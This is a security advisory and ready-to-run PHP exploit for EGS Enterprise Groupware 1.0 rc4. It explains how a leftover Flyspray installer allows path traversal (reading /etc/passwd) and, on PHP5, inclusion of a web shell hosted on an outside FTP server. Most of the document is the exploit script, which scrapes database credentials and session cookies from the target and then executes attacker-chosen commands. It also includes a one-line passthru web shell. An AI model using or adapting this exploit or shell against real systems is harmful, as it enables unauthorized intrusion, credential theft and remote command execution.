--------EGS Enterprise Groupware System 1.0 rc4 (possibly prior versions)-------
        remote code execution
--------------------------------------------------------------------------------

software:
site: http://egs.sourceforge.net/
description: "EGS is an  Open Source  business  system  released   under the GNU
              GPL that is sponsored and  supported by an established  commercial
              company - Senokian Solutions. Unlike other  similar  applicatiosn,
              EGS is not beholden to share  holders  or venture capitalists, and
              is developed by a team of keen Open  Source  programmers, with the
              support and sponsorship of Senokian Solutions."
--------------------------------------------------------------------------------

i) EGS carries a vulnerable version of Flyspray installer
 (http://flyspray.rocks.cc/ ), you can access directly to it calling this url:

 http://[target]/[path_to_egs]/modules/projects/sql/install-0.9.7.php
 
 if setup has been executed once, a message says:

 "Setup has already been completed. If you really want to run it again, remove
  flyspray.conf.php"
  
  but if you go to http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=2
  
  you have full access to installation procedure.
  
  Now, give a look to vulnerable code at lines 172-199:

  ...
  } elseif ($page == '3') {

   /*if (file_exists('../flyspray.conf.php')) {
      die('Setup has already been completed.  If you really want to run it again, remove flyspray.conf.php');
   };*/

   $_SESSION['basedir'] = stripslashes($_POST['basedir']);
   $_SESSION['adodbpath'] = stripslashes($_POST['adodbpath']);
   $_SESSION['dbtype'] = $_POST['dbtype'];
   $_SESSION['dbname'] = $_POST['dbname'];
   $_SESSION['dbhost'] = $_POST['dbhost'];
   $_SESSION['dbuser'] = $_POST['dbuser'];
   $_SESSION['dbpass'] = $_POST['dbpass'];

   if ($_POST['basedir'] != ''
      && $_POST['adodbpath'] != ''
      && $_POST['dbhost'] != ''
      && $_POST['dbname'] != ''
      && $_POST['dbuser'] != ''
      && $_POST['dbpass'] != ''
      ) {

         // Now, check for the correct path to the adodb.inc.php file
         if (!file_exists($_SESSION['adodbpath']))
         {
            die('The path to adodb.inc.php wasn\'t set correctly.  <a href="?p=2">Go back and fix it up.</a>');

         }
  ...
  
  and at lines 287-295:

  ...
  } elseif ($page == '4') {

   if (!isset($_SESSION['basedir'])) {
      Header("Location: install-0.9.7.php?p=1");
   };

   // Activate adodb
   include_once ($_SESSION['adodbpath']);
  ...
  
 at step 2 fill the adobpath field with a value like this:

 ../../../../../../../../../../etc/passwd
 
 proceed to step 3 and 4 and you will see at screen /etc/passwd file
 'cause $_SESSION['adodbpath'] is assigned to it and it is included by the
 script

 so on PHP4 you can view/execute any file on local resources...
 
 on PHP5, because file_exists() function supports ftp locations, you submit a
 value like this for 'adodbpath':

 ftp://username:password@somehost/shell.php
  
 now, if shell.php have this code inside:

 <?php passthru($HTTP_GET_VARS[cmd]);?>
 
 you can launch commands on target system, poc:

 http://[target]/[path]/modules/projects/sql/install-0.9.7.php?p=4&cmd=ls%0-la
 
--------------------------------------------------------------------------------
exploit:

<?php
#  ---egs_10rc4_php5_incl_xpl.php                           17.57 13/02/2006   #
#                                                                              #
#  EGS Enterprise Groupware System <=1.0 rc4 remote commands execution exploit #
#                              coded by rgod                                   #
#                     site: http://retrogod.altervista.org                     #
#                                                                              #
#  -> works against PHP5                                                       #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Thus the energy developed by good fighting men is as the momentum #
#  of a round stone rolled down a mountain thousands of feet in height. So     #
#  much on the subject of energy."                                             #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title> ******** EGS <= 1.0 rc4 remote commands execution *****
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
******** EGS <= 1.0 rc4 remote commands execution *****  </p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table  width="84%"><tr><td width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/EGS/ or just / ) </span></p><p><input type="text" name="cmd">          <span
class="Stile5"> * specify a command   </span>   </p>   <p>   <input  type="text"
name="FTP_LOCATION"><span class="Stile5"> * specify an ftp resource (ex: ftp://u
sername:password@somehost.com/shell.php) </span> </p><p>      <input type="text"
name="port"><span class="Stile5">specify  a  port other than  80 (default value)
</span> </p><p><input   type="text" name="proxy"><span class="Stile5"> send  exp
loit through an HTTP proxy (ip:port) </span>  </p>  <p>   <input   type="submit"
name="Submit" value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".htmlentities($datai)."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".htmlentities($headeri[$li])."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$FTP_LOCATION=$_POST[FTP_LOCATION];
$cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>'') and ($cmd<>'') and ($FTP_LOCATION<>''))
{
    $port=intval(trim($port));
    if ($port=='') {$port=80;}
    if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
    $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
    $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);

    # STEP 1 -> Call the Fiyspray 0.9.7 installation script...
    $packet ="GET ".$p."modules/projects/sql/install-0.9.7.php?p=2 HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Rumours-Agent\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    sendpacketii($packet);

    $temp=explode("basedir\" value=\"",$html);
    $temp2=explode("\"",$temp[1]);
    $basedir=$temp2[0];
    echo "basedir -> ".htmlentities($basedir)."<BR>";
    $temp=explode("dbhost\" value=\"",$html);
    $temp2=explode("\"",$temp[1]);
    $DB_HOST=$temp2[0];
    echo "DB HOST -> ".htmlentities($DB_HOST)."<BR>";
    $temp=explode("dbname\" value=\"",$html);
    $temp2=explode("\"",$temp[1]);
    $DB_NAME=$temp2[0];
    echo "DB NAME -> ".htmlentities($DB_NAME)."<BR>";
    $temp=explode("dbuser\" value=\"",$html);
    $temp2=explode("\"",$temp[1]);
    $DB_USER=$temp2[0];
    echo "DB USER -> ".htmlentities($DB_USER)."<BR>";
    $temp=explode("dbpass\" value=\"",$html);
    $temp2=explode("\"",$temp[1]);
    $DB_PASS=$temp2[0];
    echo "DB PASS -> ".strip_tags(htmlentities($DB_PASS))."<BR>";
    $temp=explode("Set-Cookie: ",$html);
    $temp2=explode(" ",$temp[1]);
    $COOKIE=$temp2[0];
    echo "COOKIE -> ".htmlentities($COOKIE)."<BR>";

    # STEP 2 -> submit the ftp resource with shell code inside...
    $data ="basedir=".urlencode($basedir);
    $data.="&adodbpath=".urlencode($FTP_LOCATION);
    $data.="&dbtype=pgsql";
    $data.="&dbuser=".urlencode($DB_USER);
    $data.="&dbname=".urlencode($DB_NAME);
    $data.="&dbhost=".urlencode($DB_HOST);
    $data.="&dbpass=".urlencode($DB_PASS);
    $packet ="POST ".$p."modules/projects/sql/install-0.9.7.php?p=3 HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User-Agent: Science Traveller International 1X/1.0\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: ".$COOKIE."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;
    show($packet);
    sendpacketii($packet);

    # STEP 3 -> Launch commands...
    $packet ="GET ".$p."modules/projects/sql/install-0.9.7.php?p=4&cmd=".$cmd." HTTP/1.1\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="User Agent: Googlebot 1.0\r\n";
    $packet.="Cookie: ".$COOKIE."\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    sendpacketii($packet);
    if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";}
                             else {echo "Exploit failed...";}
}
else
{echo "Note: inside shell.php you need this code: <br>";
 echo  nl2br(htmlentities("
        <?php
        ob_clean();echo\"HiMaster!\";ini_set(\"max_execution_time\",0);phpinfo();passthru(\$HTTP_GET_VARS[cmd]);die;
        ?>
        "))."<br>";
  echo "Fill * required fields, optionally specify a proxy...";}
  echo "</span>";
?>
--------------------------------------------------------------------------------
exploit code adjusted for flyspray 0.9.7:

http://retrogod.altervista.org/flyspray_097_php5_incl_xpl.html

--------------------------------------------------------------------------------
rgod

site: http://retrogod.altervista.org
mail: rgod at autistici org
original adivsory: http://retrogod.altervista.org/egs_10rc4_php5_incl_xpl.html
--------------------------------------------------------------------------------